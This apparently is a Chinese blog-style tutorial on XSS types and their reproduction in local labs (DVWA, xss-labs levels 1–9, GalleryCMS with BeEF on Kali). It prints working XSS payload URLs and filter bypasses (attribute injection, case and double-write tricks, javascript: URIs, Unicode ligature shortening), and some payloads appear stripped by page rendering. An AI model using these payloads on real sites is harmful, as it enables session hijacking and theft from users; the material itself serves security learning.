XSS漏洞总结和漏洞复现
XSS漏洞概述:类型一:反射型类型二:存储型类型三:DOM型
复现20字符短域名绕过一、安装BEEF1、在Kali中运行apt install beef-xss2、运行beef3、在浏览器访问
二、安装galleryCMS*遇到一点小问题提示"last_ip"不能为空解决方法:cmd进入数据库,添加"last_ip"字段,手动插入数据
刷新后登录成功进入
三、开始复现1、创建一个栏目2、准备绕过3、缩短域名(域名跳转or重定向国内需要备案)+unicode三合一
XSS漏洞概述:
跨站脚本攻击XSS(Cross Site Scripting),为区别层叠样式表(Cascading Style Sheets, CSS),所以改写为XSS
类型一:反射型
特点: 1、非持久型,不保存到正常服务器的数据库中 2、反射型XSS的被攻击对象是特定的,使用含有反射型XSS的特制URL 案例一:
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=
![在这里插入图片描述](https://img-blog.csdnimg.cn/100a4c677ef4477e82451d7fef4fe165.png)
类型二:存储型
特点: 1、持久型,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性 2、存储型XSS非特定攻击用户,攻击者将存储型XSS代码写进有XSS漏洞的网站上后,只要有用户访问这个链接就会被攻击
类型三:DOM型
特点: 反射型xss和存储型xss会与后台交互,DOM型xss的实现过程都是在前台
DOM(Document Object Model),是一种文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式,本质就是一种树状的模型。 DOM型XSS是基于DOM文档对象模型的一种漏洞,所以受客户端浏览器的脚本代码所影响,而不是想前面两种会与服务器交互(不是解析,是交互)。 DOM型XSS是取决于输出的位置,并不取决于输出环境,因此也可以说DOM型XSS既有可能是反射型的,也有可能是存储型的,就是说它的输出点是在DOM位置上。 1、 案例一:
http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=alert(1)
案例二:
http://127.0.0.1/xsslabs/level1.php?name=hujincheng
![在这里插入图片描述](https://img-blog.csdnimg.cn/1d2636b6b74b4ff38c6edf5eb4851de7.png)
http://127.0.0.1/xsslabs/level1.php?name=
或者
http://127.0.0.1/xsslabs/level1.php?name=alert(1)
![在这里插入图片描述](https://img-blog.csdnimg.cn/d30d100067b247449cd6827f6727b2ec.png)
复现20字符短域名绕过
一、安装BEEF
1、在Kali中运行apt install beef-xss
apt install beef-xss
2、运行beef
beef-xss
3、在浏览器访问
http://10.1.1.13:3000/ui/panel
二、安装galleryCMS
*遇到一点小问题
1、未创建数据库 解决方法:手动创建
mysql> create database gallerycms;
Query OK, 1 row affected (0.00 sec)
2、点击注册后弹出错误提示 ![在这里插入图片描述](https://img-blog.csdnimg.cn/158d54a8890a48fc8b9a0bfd23f8b73d.png)
Error Number: 1364
Field 'last_ip' doesn't have a default value
INSERT INTO `user` (`email_address`, `password`, `is_active`, `is_admin`, `created_at`, `uuid`, `updated_at`) VALUES ('[email protected]', 'd033e22ae348aeb5660fc2140aec35850c4da997', 1, 1, '2022-07-28 16:25:01', 'c6631386-0e4e-11ed-97c4-0a002700000c', '2022-07-28 16:25:01')
Filename: D:\phpstudy_pro\WWW\GalleryCMS-2.0\system\database\DB_driver.php
Line Number: 330
提示"last_ip"不能为空
解决方法:cmd进入数据库,添加"last_ip"字段,手动插入数据
mysql> use gallerycms;
Database changed
mysql> INSERT INTO `user` (`email_address`, `password`, `is_active`, `is_admin`, `created_at`, `uuid`, `updated_at`,`last_ip`) VALUES ('[email protected]', 'd033e22ae348aeb5660fc2140aec35850c4da997', 1, 1, '2022-07-28 16:33:16', 'ed87d8bb-0e4f-11ed-97c4-0a002700000c', '2022-07-28 16:33:16','127.0.0.1');
Query OK, 1 row affected (0.00 sec)
刷新后登录成功进入
![在这里插入图片描述](https://img-blog.csdnimg.cn/d629bb7bf12247d4b3d61bb39a66094a.png)
三、开始复现
1、创建一个栏目
![在这里插入图片描述](https://img-blog.csdnimg.cn/69003dee945146ad8f589c74294c5f39.png)
2、准备绕过
标签过长,使用标签,但也不够
3、缩短域名(域名跳转or重定向国内需要备案)+unicode三合一
三合一
℠ expands to sm
㏛ expands to sr
st expands to st
㎭ expands to rad
℡ expands to tel
绕过 1级
http://127.0.0.1/xsslabs/level1.php?name=alert(1)
![在这里插入图片描述](https://img-blog.csdnimg.cn/5d42c9be7dc147298cf7b40df37d9af2.png)
2级
http://127.0.0.1/xsslabs/level2.php?keyword=1"onclick="alert(1)
3级
http://127.0.0.1/xsslabs/level3.php?keyword=1'onclick='alert(1)
4级
http://127.0.0.1/xsslabs/level4.php?keyword=1"onclick="alert(1)
5级
http://127.0.0.1/xsslabs/level5.php?keyword=1">11111
6级
大小写未过滤【HTML不区分大小写,HTML->JavaScript生效】
http://127.0.0.1/xsslabs/level6.php?keyword=1"Onclick="alert(1)
7级
【双写过滤处】
http://127.0.0.1/xsslabs/level7.php?keyword=1"oonnclick="alert(1)
8级将字符转为ascll码
javascript:alert('1')
javascript:alert('1')
9级跳过过滤(将编码转换ascll)
javascript>>>>>javascript:alert('1')
![在这里插入图片描述](https://img-blog.csdnimg.cn/af512ab271a54dc5a52c6239b89d4325.png)
|